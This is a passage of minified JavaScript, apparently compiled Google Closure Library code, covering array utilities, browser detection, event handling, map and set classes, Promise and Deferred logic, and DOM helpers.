e=a.length,f=A(a)?a.split(c):a,g=0;g<e;g++)if(g in f&&!b.call(d,f[g],g,a))return!1; return!0},ZM=function(a,b,d){b=YM(a,b,d);return 0>b?null:A(a)?a.charAt(b):a[b]},YM=function(a,b,d){for(var e=a.length,f=A(a)?a.split(c):a,g=0;g<e;g++)if(g in f&&b.call(d,f[g],g,a))return g;return-1},$M=function(a,b,d){t:{for(var e=A(a)?a.split(c):a,f=a.length-1;0<=f;f--)if(f in e&&b.call(d,e[f],f,a)){b=f;break t}b=-1}return 0>b?null:A(a)?a.charAt(b):a[b]},aN=function(a,b){return 0<=RM(a,b)},bN=function(a){if(!OL(a))for(var b=a.length-1;0<=b;b--)delete a[b];a.length=0},dN=function(a,b){var d=RM(a, b),e;(e=0<=d)&&cN(a,d);return e},cN=function(a,b){H(null!=a.length);return 1==QM.splice.call(a,b,1).length},eN=function(a,b,d){b=YM(a,b,d);return 0<=b?(cN(a,b),!0):!1},fN=function(a){return QM.concat.apply(QM,arguments)},gN=function(a){var b=a.length;if(0<b){for(var d=Array(b),e=0;e<b;e++)d[e]=a[e];return d}return[]},hN=function(a,b){for(var d=1;d<arguments.length;d++){var e=arguments[d],f;if(OL(e)||(f=PL(e))&&Object.prototype.hasOwnProperty.call(e,wx))a.push.apply(a,e);else if(f)for(var g=a.length, k=e.length,p=0;p<k;p++)a[g+p]=e[p];else a.push(e)}},jN=function(a,b,d,e){H(null!=a.length);return QM.splice.apply(a,iN(arguments,1))},iN=function(a,b,d){H(null!=a.length);return 2>=arguments.length?QM.slice.call(a,b):QM.slice.call(a,b,d)},kN=function(a,b,d){b=b||a;d=d||function(){return SL(k)?TF+VL(k):(typeof k).charAt(0)+k};for(var e={},f=0,g=0;g<a.length;){var k=a[g++],p=d(k);Object.prototype.hasOwnProperty.call(e,p)||(e[p]=!0,b[f++]=k)}b.length=f},lN=function(a,b,d,e,f){for(var g=0,k=a.length, p;g<k;){var q=g+k>>1,t;t=d?b.call(f,a[q],q,a):b(e,a[q]);0<t?g=q+1:(k=q,p=!t)}return p?g:~g},nN=function(a,b){a.sort(b||mN)},mN=function(a,b){return a>b?1:a<b?-1:0},oN=function(a,b,d){d=lN(a,d||mN,!1,b);return 0>d?(jN(a,-(d+1),0,b),!0):!1};var pN=function(a){pN[fa](a);return a};pN[fa]=y;var qN,rN,sN,tN,uN,vN,wN,xN,yN=function(){return JL.navigator?JL.navigator.userAgent:null},zN=function(){return JL.navigator};uN=tN=sN=rN=qN=!1;var AN;if(AN=yN()){var BN=zN();qN=0==AN.lastIndexOf("Opera",0);rN=!qN&&(-1!=AN.indexOf("MSIE")||-1!=AN.indexOf("Trident"));tN=(sN=!qN&&-1!=AN.indexOf("WebKit"))&&-1!=AN.indexOf("Mobile");uN=!qN&&!sN&&!rN&&"Gecko"==BN.product}var CN=qN,J=rN,DN=uN,EN=sN,FN=tN,GN=zN(),HN=GN&&GN.platform||c;vN=-1!=HN.indexOf("Mac");wN=-1!=HN.indexOf("Win");xN=-1!=HN.indexOf("Linux"); var IN=!!zN()&&-1!=(zN().appVersion||c).indexOf("X11"),JN=function(){var a=JL.document;return a?a.documentMode:void 0},KN;t:{var LN=c,MN;if(CN&&JL.opera)var NN=JL.opera.version,LN=typeof NN==XA?NN():NN;else if(DN?MN=/rv\:([^\);]+)(\)|;)/:J?MN=/\b(?:MSIE|rv)[: ]([^\);]+)(\)|;)/:EN&&(MN=/WebKit\/(\S+)/),MN)var ON=MN.exec(yN()),LN=ON?ON[1]:c;if(J){var PN=JN();if(PN>parseFloat(LN)){KN=String(PN);break t}}KN=LN} var QN=KN,RN={},SN=function(a){return RN[a]||(RN[a]=0<=DM(QN,a))},UN=function(a){return J&&TN>=a},VN=JL.document,TN=VN&&J?JN()||(VN.compatMode==Di?parseInt(QN,10):5):void 0;var WN=!J||UN(9),XN=!J||UN(9),YN=J&&!SN(jf);!EN||SN("528");DN&&SN("1.9b")||J&&SN(hf)||CN&&SN("9.5")||EN&&SN("528");DN&&!SN(hf)||J&&SN(jf);var ZN=function(){};x=ZN.prototype;x.qC=!1;x.Fd=function(){return this.qC};x.Q=function(){this.qC||(this.qC=!0,this.A())};x.wx=function(a){this.vda(YL(K,a))};x.vda=function(a,b){this.Bq||(this.Bq=[]);this.Bq.push(C(a,b))};x.A=function(){if(this.Bq)for(;this.Bq.length;)this.Bq.shift()()};var $N=function(a){return a&&typeof a.Fd==XA?a.Fd():!1},K=function(a){a&&typeof a.Q==XA&&a.Q()};var L=function(a,b){this.type=a;this.currentTarget=this.target=b;this.defaultPrevented=this.Hk=!1;this.pO=!0};L.prototype.A=function(){};L.prototype.Q=function(){};L.prototype.stopPropagation=function(){this.Hk=!0};L.prototype.preventDefault=function(){this.defaultPrevented=!0;this.pO=!1};var aO=function(a){a.stopPropagation()},bO=function(a){a.preventDefault()};var cO=J?PA:"DOMFocusIn",dO=J?QA:"DOMFocusOut";var eO=function(a,b){L.call(this,a?a.type:c);this.relatedTarget=this.currentTarget=this.target=null;this.charCode=this.keyCode=this.button=this.screenY=this.screenX=this.clientY=this.clientX=this.offsetY=this.offsetX=0;this.metaKey=this.shiftKey=this.altKey=this.ctrlKey=!1;this.state=null;this.CD=!1;this.pc=null;a&&this.wv(a,b)};E(eO,L);var fO=[1,4,2];x=eO.prototype; x.wv=function(a,b){var d=this.type=a.type;this.target=a.target||a.srcElement;this.currentTarget=b;var e=a.relatedTarget;if(e){if(DN){var f;t:{try{pN(e.nodeName);f=!0;break t}catch(g){}f=!1}f||(e=null)}}else d==qE?e=a.fromElement:d==pE&&(e=a.toElement);this.relatedTarget=e;this.offsetX=EN||void 0!==a.offsetX?a.offsetX:a.layerX;this.offsetY=EN||void 0!==a.offsetY?a.offsetY:a.layerY;this.clientX=void 0!==a.clientX?a.clientX:a.pageX;this.clientY=void 0!==a.clientY?a.clientY:a.pageY;this.screenX=a.screenX|| 0;this.screenY=a.screenY||0;this.button=a.button;this.keyCode=a.keyCode||0;this.charCode=a.charCode||(d==bD?a.keyCode:0);this.ctrlKey=a.ctrlKey;this.altKey=a.altKey;this.shiftKey=a.shiftKey;this.metaKey=a.metaKey;this.CD=vN?a.metaKey:a.ctrlKey;this.state=a.state;this.pc=a;a.defaultPrevented&&this.preventDefault()};x.ci=function(a){return WN?this.pc.button==a:this.type==Rx?0==a:!!(this.pc.button&fO[a])};x.Ys=function(){return this.ci(0)&&!(EN&&vN&&this.ctrlKey)}; x.stopPropagation=function(){eO.c.stopPropagation.call(this);this.pc.stopPropagation?this.pc.stopPropagation():this.pc.cancelBubble=!0};x.preventDefault=function(){eO.c.preventDefault.call(this);var a=this.pc;if(a.preventDefault)a.preventDefault();else if(a.returnValue=!1,YN)try{if(a.ctrlKey||112<=a.keyCode&&123>=a.keyCode)a.keyCode=-1}catch(b){}};x.Iaa=function(){return this.pc};x.A=function(){};var gO="closure_listenable_"+(1E6*Math.random()|0),hO=function(a){try{return!(!a||!a[gO])}catch(b){return!1}},iO=0;var jO=function(a,b,d){for(var e in a)b.call(d,a[e],e,a)},kO=function(a){var b=[],d=0,e;for(e in a)b[d++]=a[e];return b},lO=function(a){var b=[],d=0,e;for(e in a)b[d++]=e;return b},mO=function(a,b){for(var d in a)if(a[d]==b)return!0;return!1},nO=function(a){for(var b in a)return!1;return!0},oO=function(a,b){var d;(d=b in a)&&delete a[b];return d},pO=function(a,b,d){if(b in a)throw Error('The object already contains the key "'+b+Na);a[b]=d},qO=function(a){var b={},d;for(d in a)b[d]=a[d];return b}, rO=function(a){var b={},d;for(d in a)b[a[d]]=d;return b},sO="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" "),tO=function(a,b){for(var d,e,f=1;f<arguments.length;f++){e=arguments[f];for(d in e)a[d]=e[d];for(var g=0;g<sO.length;g++)d=sO[g],Object.prototype.hasOwnProperty.call(e,d)&&(a[d]=e[d])}},uO=function(a){var b=arguments.length;if(1==b&&OL(arguments[0]))return uO.apply(null,arguments[0]);if(b%2)throw Error(pu);for(var d={},e=0;e<b;e+=2)d[arguments[e]]= arguments[e+1];return d},vO=function(a){var b=arguments.length;if(1==b&&OL(arguments[0]))return vO.apply(null,arguments[0]);for(var d={},e=0;e<b;e++)d[arguments[e]]=!0;return d};var wO=function(a,b,d,e,f,g){this.Jf=a;this.proxy=b;this.src=d;this.type=e;this.kq=!!f;this.Pd=g;this.key=++iO;this.Nm=this.Ou=!1};wO.prototype.$u=function(){this.Nm=!0;this.Pd=this.src=this.proxy=this.Jf=null};var xO=function(a){this.src=a;this.Yc={};this.sq=0};x=xO.prototype;x.add=function(a,b,d,e,f){var g=this.Yc[a];g||(g=this.Yc[a]=[],this.sq++);var k=yO(g,b,e,f);-1<k?(a=g[k],d||(a.Ou=!1)):(a=new wO(b,null,this.src,a,!!e,f),a.Ou=d,g.push(a));return a};x.remove=function(a,b,d,e){if(!(a in this.Yc))return!1;var f=this.Yc[a];b=yO(f,b,d,e);return-1<b?(f[b].$u(),cN(f,b),0==f.length&&(delete this.Yc[a],this.sq--),!0):!1}; x.DP=function(a){var b=a.type;if(!(b in this.Yc))return!1;var d=dN(this.Yc[b],a);d&&(a.$u(),0==this.Yc[b].length&&(delete this.Yc[b],this.sq--));return d};x.Na=function(a){var b=0,d;for(d in this.Yc)if(!a||d==a){for(var e=this.Yc[d],f=0;f<e.length;f++)++b,e[f].$u();delete this.Yc[d];this.sq--}return b};x.Mu=function(a,b){var d=this.Yc[a],e=[];if(d)for(var f=0;f<d.length;++f){var g=d[f];g.kq==b&&e.push(g)}return e};x.iq=function(a,b,d,e){a=this.Yc[a];var f=-1;a&&(f=yO(a,b,d,e));return-1<f?a[f]:null}; var yO=function(a,b,d,e){for(var f=0;f<a.length;++f){var g=a[f];if(!g.Nm&&g.Jf==b&&g.kq==!!d&&g.Pd==e)return f}return-1};var zO="closure_lm_"+(1E6*Math.random()|0),AO={},BO=0,CO=function(a,b,d,e,f){if(OL(b)){for(var g=0;g<b.length;g++)CO(a,b[g],d,e,f);return null}d=DO(d);return hO(a)?a.j(b,d,e,f):EO(a,b,d,!1,e,f)},EO=function(a,b,d,e,f,g){if(!b)throw Error("Invalid event type");var k=!!f,p=FO(a);p||(a[zO]=p=new xO(a));d=p.add(b,d,e,f,g);if(d.proxy)return d;e=GO();d.proxy=e;e.src=a;e.Jf=d;a.addEventListener?a.addEventListener(b,e,k):a.attachEvent(b in AO?AO[b]:AO[b]=bG+b,e);BO++;return d},GO=function(){var a=HO,b=XN? function(d){return a.call(b.src,b.Jf,d)}:function(d){d=a.call(b.src,b.Jf,d);if(!d)return d};return b},IO=function(a,b,d,e,f){if(OL(b)){for(var g=0;g<b.length;g++)IO(a,b[g],d,e,f);return null}d=DO(d);return hO(a)?a.Qc(b,d,e,f):EO(a,b,d,!0,e,f)},JO=function(a,b,d,e,f){if(OL(b)){for(var g=0;g<b.length;g++)JO(a,b[g],d,e,f);return null}d=DO(d);if(hO(a))return a.$(b,d,e,f);if(!a)return!1;if(a=FO(a))if(b=a.iq(b,d,!!e,f))return KO(b);return!1},KO=function(a){if(QL(a)||!a||a.Nm)return!1;var b=a.src;if(hO(b))return b.cO(a); var d=a.type,e=a.proxy;b.removeEventListener?b.removeEventListener(d,e,a.kq):b.detachEvent&&b.detachEvent(d in AO?AO[d]:AO[d]=bG+d,e);BO--;(d=FO(b))?(d.DP(a),0==d.sq&&(d.src=null,b[zO]=null)):a.$u();return!0},MO=function(a,b,d,e){var f=1;if(a=FO(a))if(b=a.Yc[b])for(b=gN(b),a=0;a<b.length;a++){var g=b[a];g&&g.kq==d&&!g.Nm&&(f&=!1!==LO(g,e))}return Boolean(f)},LO=function(a,b){var d=a.Jf,e=a.Pd||a.src;a.Ou&&KO(a);return d.call(e,b)},HO=function(a,b){if(a.Nm)return!0;if(!XN){var d=b||LL(cL),e=new eO(d, this),f=!0;if(!(0>d.keyCode||void 0!=d.returnValue)){t:{var g=!1;if(0==d.keyCode)try{d.keyCode=-1;break t}catch(k){g=!0}if(g||void 0==d.returnValue)d.returnValue=!0}d=[];for(g=e.currentTarget;g;g=g.parentNode)d.push(g);for(var g=a.type,p=d.length-1;!e.Hk&&0<=p;p--)e.currentTarget=d[p],f&=MO(d[p],g,!0,e);for(p=0;!e.Hk&&p<d.length;p++)e.currentTarget=d[p],f&=MO(d[p],g,!1,e)}return f}return LO(a,new eO(b,this))},FO=function(a){a=a[zO];return a instanceof xO?a:null},NO="__closure_events_fn_"+(1E9*Math.random()>>> 0),DO=function(a){H(a,ip);if(RL(a))return a;H(a.handleEvent,Ph);return a[NO]||(a[NO]=function(b){return a.handleEvent(b)})};var OO=function(a,b,d){return Math.min(Math.max(a,b),d)},PO=function(a,b){var d=a%b;return 0>d*b?d+b:d};var QO="StopIteration"in JL?JL.StopIteration:Error("StopIteration"),RO=function(){};RO.prototype.next=function(){throw QO;};RO.prototype.ue=function(){return this}; var SO=function(a){if(a instanceof RO)return a;if(typeof a.ue==XA)return a.ue(!1);if(PL(a)){var b=0,d=new RO;d.next=function(){for(;;){if(b>=a.length)throw QO;if(b in a)return a[b++];b++}};return d}throw Error(yq);},TO=function(a,b,d){if(PL(a))try{I(a,b,d)}catch(e){if(e!==QO)throw e;}else{a=SO(a);try{for(;;)b.call(d,a.next(),void 0,a)}catch(f){if(f!==QO)throw f;}}},UO=function(a){if(PL(a))return gN(a);a=SO(a);var b=[];TO(a,function(a){b.push(a)});return b};var VO=function(a,b){this.Wa={};this.Cb=[];this.lq=this.Db=0;var d=arguments.length;if(1<d){if(d%2)throw Error(pu);for(var e=0;e<d;e+=2)this.set(arguments[e],arguments[e+1])}else a&&this.Wt(a)};x=VO.prototype;x.Xe=function(){return this.Db};x.mc=function(){this.Pu();for(var a=[],b=0;b<this.Cb.length;b++)a.push(this.Wa[this.Cb[b]]);return a};x.Le=function(){this.Pu();return this.Cb.concat()};x.od=function(a){return WO(this.Wa,a)};x.isEmpty=function(){return 0==this.Db}; x.clear=function(){this.Wa={};this.lq=this.Db=this.Cb.length=0};x.remove=function(a){return WO(this.Wa,a)?(delete this.Wa[a],this.Db--,this.lq++,this.Cb.length>2*this.Db&&this.Pu(),!0):!1};x.Pu=function(){if(this.Db!=this.Cb.length){for(var a=0,b=0;a<this.Cb.length;){var d=this.Cb[a];WO(this.Wa,d)&&(this.Cb[b++]=d);a++}this.Cb.length=b}if(this.Db!=this.Cb.length){for(var e={},b=a=0;a<this.Cb.length;)d=this.Cb[a],WO(e,d)||(this.Cb[b++]=d,e[d]=1),a++;this.Cb.length=b}}; x.get=function(a,b){return WO(this.Wa,a)?this.Wa[a]:b};x.set=function(a,b){WO(this.Wa,a)||(this.Db++,this.Cb.push(a),this.lq++);this.Wa[a]=b};x.Wt=function(a){var b;a instanceof VO?(b=a.Le(),a=a.mc()):(b=lO(a),a=kO(a));for(var d=0;d<b.length;d++)this.set(b[d],a[d])};x.clone=function(){return new VO(this)};x.Z6=function(){return this.ue(!0)}; x.ue=function(a){this.Pu();var b=0,d=this.Cb,e=this.Wa,f=this.lq,g=this,k=new RO;k.next=function(){for(;;){if(f!=g.lq)throw Error("The map has changed since the iterator was created");if(b>=d.length)throw QO;var k=d[b++];return a?k:e[k]}};return k};var WO=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};var XO=function(a){if(typeof a.mc==XA)return a.mc();if(A(a))return a.split(c);if(PL(a)){for(var b=[],d=a.length,e=0;e<d;e++)b.push(a[e]);return b}return kO(a)},YO=function(a){if(typeof a.Le==XA)return a.Le();if(typeof a.mc!=XA){if(PL(a)||A(a)){var b=[];a=a.length;for(var d=0;d<a;d++)b.push(d);return b}return lO(a)}},ZO=function(a,b,d){if(typeof a.forEach==XA)a.forEach(b,d);else if(PL(a)||A(a))I(a,b,d);else for(var e=YO(a),f=XO(a),g=f.length,k=0;k<g;k++)b.call(d,f[k],e&&e[k],a)};var $O=function(a){this.Wa=new VO;a&&this.Wt(a)},aP=function(a){var b=typeof a;return b==WF&&a||b==XA?TF+VL(a):b.substr(0,1)+a};x=$O.prototype;x.Xe=function(){return this.Wa.Xe()};x.add=function(a){this.Wa.set(aP(a),a)};x.Wt=function(a){a=XO(a);for(var b=a.length,d=0;d<b;d++)this.add(a[d])};x.Na=function(a){a=XO(a);for(var b=a.length,d=0;d<b;d++)this.remove(a[d])};x.remove=function(a){return this.Wa.remove(aP(a))};x.clear=function(){this.Wa.clear()};x.isEmpty=function(){return this.Wa.isEmpty()}; x.contains=function(a){return this.Wa.od(aP(a))};x.vba=function(a){t:{var b=this.contains;if(typeof a.every==XA)a=a.every(b,this);else if(PL(a)||A(a))a=XM(a,b,this);else{for(var d=YO(a),e=XO(a),f=e.length,g=0;g<f;g++)if(!b.call(this,e[g],d&&d[g],a)){a=!1;break t}a=!0}}return a};x.jO=function(a){var b=new $O;a=XO(a);for(var d=0;d<a.length;d++){var e=a[d];this.contains(e)&&b.add(e)}return b};x.mc=function(){return this.Wa.mc()};x.clone=function(){return new $O(this)};x.ue=function(){return this.Wa.ue(!1)};var bP={};var eP=function(a,b){var d=a;b&&(d=C(a,b));RL(JL.setImmediate)?JL.setImmediate(d):(cP||(cP=dP()),cP(d))},cP,dP=function(){var a=JL.MessageChannel;"undefined"===typeof a&&"undefined"!==typeof window&&window.postMessage&&window.addEventListener&&(a=function(){var a=document.createElement(sC);a.style.display=JF;a.src=c;document.documentElement.appendChild(a);var b=a.contentWindow,a=b.document;a.open();a.write(c);a.close();var d=ux+Math.random(),e=b.location.protocol+ve+b.location.host,a=C(function(a){if(a.origin== e||a.data==d)this.port1.onmessage()},this);b.addEventListener(iE,a,!1);this.port1={};this.port2={postMessage:function(){b.postMessage(d,e)}}});if("undefined"!==typeof a){var b=new a,d={},e=d;b.port1.onmessage=function(){d=d.next;var a=d.KR;d.KR=null;a()};return function(a){e.next={KR:a};e=e.next;b.port2.postMessage(0)}}return"undefined"!==typeof document&&hG in document.createElement(uI)?function(a){var b=document.createElement(uI);b.onreadystatechange=function(){b.onreadystatechange=null;b.parentNode.removeChild(b); b=null;a();a=null};document.documentElement.appendChild(b)}:function(a){JL.setTimeout(a,0)}};var fP=function(a){eP(function(){throw a;})},kP=function(a,b){gP||(eP(hP),gP=!0);iP.push(new jP(a,b))},gP=!1,iP=[];[].push(function(){gP=!1;iP=[]});var hP=function(){for(;iP.length;){var a=iP;iP=[];for(var b=0;b<a.length;b++){var d=a[b];try{d.fn.call(d.scope)}catch(e){fP(e)}}}gP=!1},jP=function(a,b){this.fn=a;this.scope=b};var lP=function(a){a.prototype.then=a.prototype.then;a.prototype.$goog_Thenable=!0},mP=function(a){if(!a)return!1;try{return!!a.$goog_Thenable}catch(b){return!1}};var nP=function(a,b){this.qa=0;this.mg=void 0;this.We=this.Ia=null;this.zu=this.xC=!1;this.AC=[];this.GN(Error(py));this.wN=0;try{var d=this;a.call(b,function(a){d.Mm(2,a)},function(a){d.Mm(3,a)})}catch(e){this.Mm(3,e)}};nP.prototype.then=function(a,b,d){this.GN(Error(AJ));return this.Yca(RL(a)?a:null,RL(b)?b:null,d)};lP(nP);x=nP.prototype;x.cancel=function(a){0==this.qa&&kP(function(){var b=new oP(a);this.LO(b)},this)};x.LO=function(a){0==this.qa&&(this.Ia?this.Ia.i6(this,a):this.Mm(3,a))}; x.i6=function(a,b){if(this.We){for(var d=0,e=-1,f=0,g;g=this.We[f];f++)if(g=g.Hu)if(d++,g==a&&(e=f),0<=e&&1<d)break;0<=e&&(0==this.qa&&1==d?this.LO(b):(d=this.We.splice(e,1)[0],this.kO(d,3,b)))}};x.O8=function(a){this.We&&this.We.length||2!=this.qa&&3!=this.qa||this.AO();this.We||(this.We=[]);this.We.push(a)}; x.Yca=function(a,b,d){var e={Hu:null,lP:null,mP:null};e.Hu=new nP(function(f,g){e.lP=a?function(b){try{var e=a.call(d,b);f(e)}catch(q){g(q)}}:f;e.mP=b?function(a){try{var e=b.call(d,a);!z(e)&&a instanceof oP?g(a):f(e)}catch(q){g(q)}}:g});e.Hu.Ia=this;this.O8(e);return e.Hu};x.MO=function(a){H(1==this.qa);this.qa=0;this.Mm(2,a)};x.NO=function(a){H(1==this.qa);this.qa=0;this.Mm(3,a)}; x.Mm=function(a,b){if(0==this.qa){if(this==b)a=3,b=new TypeError(Qr);else{if(mP(b)){this.qa=1;b.then(this.MO,this.NO,this);return}if(SL(b))try{var d=b.then;if(RL(d)){this.X6(b,d);return}}catch(e){a=3,b=e}}this.mg=b;this.qa=a;this.AO();3!=a||b instanceof oP||pP(this,b)}};x.X6=function(a,b){this.qa=1;var d=this,e=!1,f=function(a){e||(e=!0,d.MO(a))},g=function(a){e||(e=!0,d.NO(a))};try{b.call(a,f,g)}catch(k){g(k)}};x.AO=function(){this.xC||(this.xC=!0,kP(this.Oca,this))}; x.Oca=function(){for(;this.We&&this.We.length;){var a=this.We;this.We=[];for(var b=0;b<a.length;b++)this.wN++,this.kO(a[b],this.qa,this.mg)}this.xC=!1};x.kO=function(a,b,d){2==b?a.lP(d):(this.mca(),a.mP(d))};x.GN=function(a){if(A(a.stack)){var b=a.stack.split(aa,4)[3];a=a.message;a+=Array(11-a.length).join(fa);this.AC.push(a+b)}}; x.Dca=function(a){if(a&&A(a.stack)&&this.AC.length){for(var b=[Rr],d=this;d;d=d.Ia){for(var e=this.wN;0<=e;e--)b.push(d.AC[e]);b.push(Eu+(3==d.qa?Xr:rn)+xv+String(d.mg)+rh)}a.stack+=ba+b.join(aa)}};x.mca=function(){var a;for(a=this;a&&a.zu;a=a.Ia)a.zu=!1};var pP=function(a,b){a.zu=!0;kP(function(){a.zu&&(a.Dca(b),qP.call(null,b))})},qP=fP,oP=function(a){aM.call(this,a)};E(oP,aM);oP.prototype.name=xx;/* Portions of this code are from MochiKit, received by The Closure Authors under the MIT license. All other code is Copyright 2005-2009 The Closure Authors. All Rights Reserved. */ var rP=function(a,b){this.iu=[];this.ON=a;this.NM=b||null;this.Sp=this.Ih=!1;this.mg=void 0;this.bD=this.RM=this.hC=!1;this.mu=0;this.Ia=null;this.lC=0;this.vD=null;if(Error.captureStackTrace){var d={stack:c};Error.captureStackTrace(d,rP);typeof d.stack==aJ&&(this.vD=d.stack.replace(/^[^\n]*\n/,c))}};x=rP.prototype; x.cancel=function(a){if(this.Ih)this.mg instanceof rP&&this.mg.cancel();else{if(this.Ia){var b=this.Ia;delete this.Ia;a?b.cancel(a):b.D6()}this.ON?this.ON.call(this.NM,this):this.bD=!0;this.Ih||this.nm(new sP(this))}};x.D6=function(){this.lC--;0>=this.lC&&this.cancel()};x.kN=function(a,b){this.hC=!1;this.tF(a,b)};x.tF=function(a,b){this.Ih=!0;this.mg=b;this.Sp=!a;this.FP()};x.qi=function(){if(this.Ih){if(!this.bD)throw new tP(this);this.bD=!1}};x.pi=function(a){this.qi();this.DQ(a);this.tF(!0,a)}; x.nm=function(a){this.qi();this.DQ(a);this.YM(a);this.tF(!1,a)};x.YM=function(a){this.vD&&SL(a)&&a.stack&&/^[^\n]+(\n [^\n]+)+/.test(a.stack)&&(a.stack=a.stack+ca+this.vD)};x.DQ=function(a){H(!(a instanceof rP),Oh)};x.Qs=function(a,b){return this.Pp(a,null,b)};x.q6=function(a,b){return this.Pp(null,a,b)};x.Pp=function(a,b,d){H(!this.RM,xi);this.iu.push([a,b,d]);this.Ih&&this.FP();return this}; x.then=function(a,b,d){var e,f,g=new nP(function(a,b){e=a;f=b});this.Pp(e,function(a){a instanceof sP?g.cancel():f(a)});return g.then(a,b,d)};lP(rP);rP.prototype.n4=function(a){return a instanceof Error};rP.prototype.lN=function(){return WM(this.iu,function(a){return RL(a[1])})}; rP.prototype.FP=function(){if(this.mu&&this.Ih&&this.lN()){var a=this.mu,b=uP[a];b&&(b.o4(),delete uP[a]);this.mu=0}this.Ia&&(this.Ia.lC--,delete this.Ia);for(var a=this.mg,d=b=!1;this.iu.length&&!this.hC;){var e=this.iu.shift(),f=e[0],g=e[1],e=e[2];if(f=this.Sp?g:f)try{var k=f.call(e||this.NM,a);z(k)&&(this.Sp=this.Sp&&(k==a||this.n4(k)),this.mg=a=k);mP(a)&&(this.hC=d=!0)}catch(p){a=p,this.Sp=!0,this.YM(a),this.lN()||(b=!0)}}this.mg=a;d&&(k=C(this.kN,this,!0),d=C(this.kN,this,!1),a instanceof rP? (a.Pp(k,d),a.RM=!0):a.then(k,d));b&&(a=new vP(a),uP[a.ha]=a,this.mu=a.ha)};var tP=function(a){aM.call(this);this.deferred=a};E(tP,aM);tP.prototype.message="Deferred has already fired";tP.prototype.name="AlreadyCalledError";var sP=function(a){aM.call(this);this.deferred=a};E(sP,aM);sP.prototype.message="Deferred was canceled";sP.prototype.name="CanceledError";var vP=function(a){this.ha=JL.setTimeout(C(this.m7,this),0);this.Od=a}; vP.prototype.m7=function(){H(uP[this.ha],hl);delete uP[this.ha];throw this.Od;};vP.prototype.o4=function(){JL.clearTimeout(this.ha)};var uP={};var wP=function(){};E(wP,ZN);wP.prototype.wv=function(){this.MF=[]};wP.prototype.ZR=function(a,b){this.Fd()||b instanceof sP||this.Gia||this.MF&&10>this.MF.length&&this.MF.push([a,b])};wP.prototype.g5=function(a){this.ZR(null,a)};var xP=new wP;var yP=function(a,b){this.x=z(a)?a:0;this.y=z(b)?b:0};yP.prototype.clone=function(){return new yP(this.x,this.y)};yP.prototype.toString=function(){return tc+this.x+h+this.y+Dc};var zP=function(a,b){return new yP(a.x-b.x,a.y-b.y)};yP.prototype.ceil=function(){this.x=Math.ceil(this.x);this.y=Math.ceil(this.y);return this};yP.prototype.floor=function(){this.x=Math.floor(this.x);this.y=Math.floor(this.y);return this};yP.prototype.round=function(){this.x=Math.round(this.x);this.y=Math.round(this.y);return this}; yP.prototype.scale=function(a,b){var d=QL(b)?b:a;this.x*=a;this.y*=d;return this};var AP=function(a,b){this.width=a;this.height=b},BP=function(a,b){return a==b?!0:a&&b?a.width==b.width&&a.height==b.height:!1};x=AP.prototype;x.clone=function(){return new AP(this.width,this.height)};x.toString=function(){return tc+this.width+Ma+this.height+Dc};x.ps=function(){return Math.max(this.width,this.height)};x.tca=function(){return Math.min(this.width,this.height)};x.xda=function(){return this.width*this.height};x.Oo=function(){return this.width/this.height};x.isEmpty=function(){return!this.xda()}; x.ceil=function(){this.width=Math.ceil(this.width);this.height=Math.ceil(this.height);return this};x.Lp=function(a){return this.width<=a.width&&this.height<=a.height};x.floor=function(){this.width=Math.floor(this.width);this.height=Math.floor(this.height);return this};x.round=function(){this.width=Math.round(this.width);this.height=Math.round(this.height);return this};x.scale=function(a,b){var d=QL(b)?b:a;this.width*=a;this.height*=d;return this}; x.xm=function(a){a=this.Oo()>a.Oo()?a.width/this.width:a.height/this.height;return this.scale(a)};var CP=!J||UN(9),DP=!DN&&!J||J&&UN(9)||DN&&SN(Ne),EP=J&&!SN(jf);var FP=function(a){a=a.className;return A(a)&&a.match(/\S+/g)||[]},M=function(a,b){for(var d=FP(a),e=iN(arguments,1),f=d.length+e.length,g=d,k=0;k<e.length;k++)aN(g,e[k])||g.push(e[k]);a.className=d.join(fa);return d.length==f},HP=function(a,b){var d=FP(a),e=iN(arguments,1),f=GP(d,e);a.className=f.join(fa);return f.length==d.length-e.length},GP=function(a,b){return TM(a,function(a){return!aN(b,a)})},IP=function(a,b){return aN(FP(a),b)},JP=function(a,b,d){d?M(a,b):HP(a,b)};var MP=function(a){return a?new KP(LP(a)):bM||(bM=new KP)},OP=function(a,b){var d=b||document;return d.querySelectorAll&&d.querySelector?d.querySelectorAll(ne+a):NP(document,Ic,a,b)},NP=function(a,b,d,e){a=e||a;b=b&&b!=Ic?b.toUpperCase():c;if(a.querySelectorAll&&a.querySelector&&(b||d))return a.querySelectorAll(b+(d?ne+d:c));if(d&&a.getElementsByClassName){a=a.getElementsByClassName(d);if(b){e={};for(var f=0,g=0,k;k=a[g];g++)b==k.nodeName&&(e[f++]=k);e.length=f;return e}return a}a=a.getElementsByTagName(b|| Ic);if(d){e={};for(g=f=0;k=a[g];g++)b=k.className,typeof b.split==XA&&aN(b.split(/\s+/),d)&&(e[f++]=k);e.length=f;return e}return a},QP=function(a,b){jO(b,function(b,e){e==bJ?a.style.cssText=b:e==Px?a.className=b:e==SA?a.htmlFor=b:e in PP?a.setAttribute(PP[e],b):0==e.lastIndexOf(vw,0)||0==e.lastIndexOf(xy,0)?a.setAttribute(e,b):a[e]=b})},PP={cellpadding:"cellPadding",cellspacing:"cellSpacing",colspan:"colSpan",frameborder:"frameBorder",height:UB,maxlength:"maxLength",role:bI,rowspan:"rowSpan",type:aK, usemap:"useMap",valign:"vAlign",width:aL},RP=function(a){a=a.document;a=a.compatMode==Di?a.documentElement:a.body;return new AP(a.clientWidth,a.clientHeight)},SP=function(a){return EN||a.compatMode!=Di?a.body||a.documentElement:a.documentElement},TP=function(a){return a?a.parentWindow||a.defaultView:window},VP=function(a,b,d){return UP(document,arguments)},UP=function(a,b){var d=b[0],e=b[1];if(!CP&&e&&(e.name||e.type)){d=[rf,d];e.name&&d.push(Da,rM(e.name),Na);if(e.type){d.push(Ia,rM(e.type),Na); var f={};tO(f,e);delete f.type;e=f}d.push(rh);d=d.join(c)}d=a.createElement(d);e&&(A(e)?d.className=e:OL(e)?M.apply(null,[d].concat(e)):QP(d,e));2<b.length&&WP(a,d,b,2);return d},WP=function(a,b,d,e){function f(d){d&&b.appendChild(A(d)?a.createTextNode(d):d)}for(;e<d.length;e++){var g=d[e];!PL(g)||SL(g)&&0<g.nodeType?f(g):I(XP(g)?gN(g):g,f)}},YP=function(a,b){WP(LP(a),a,arguments,1)},ZP=function(a){for(var 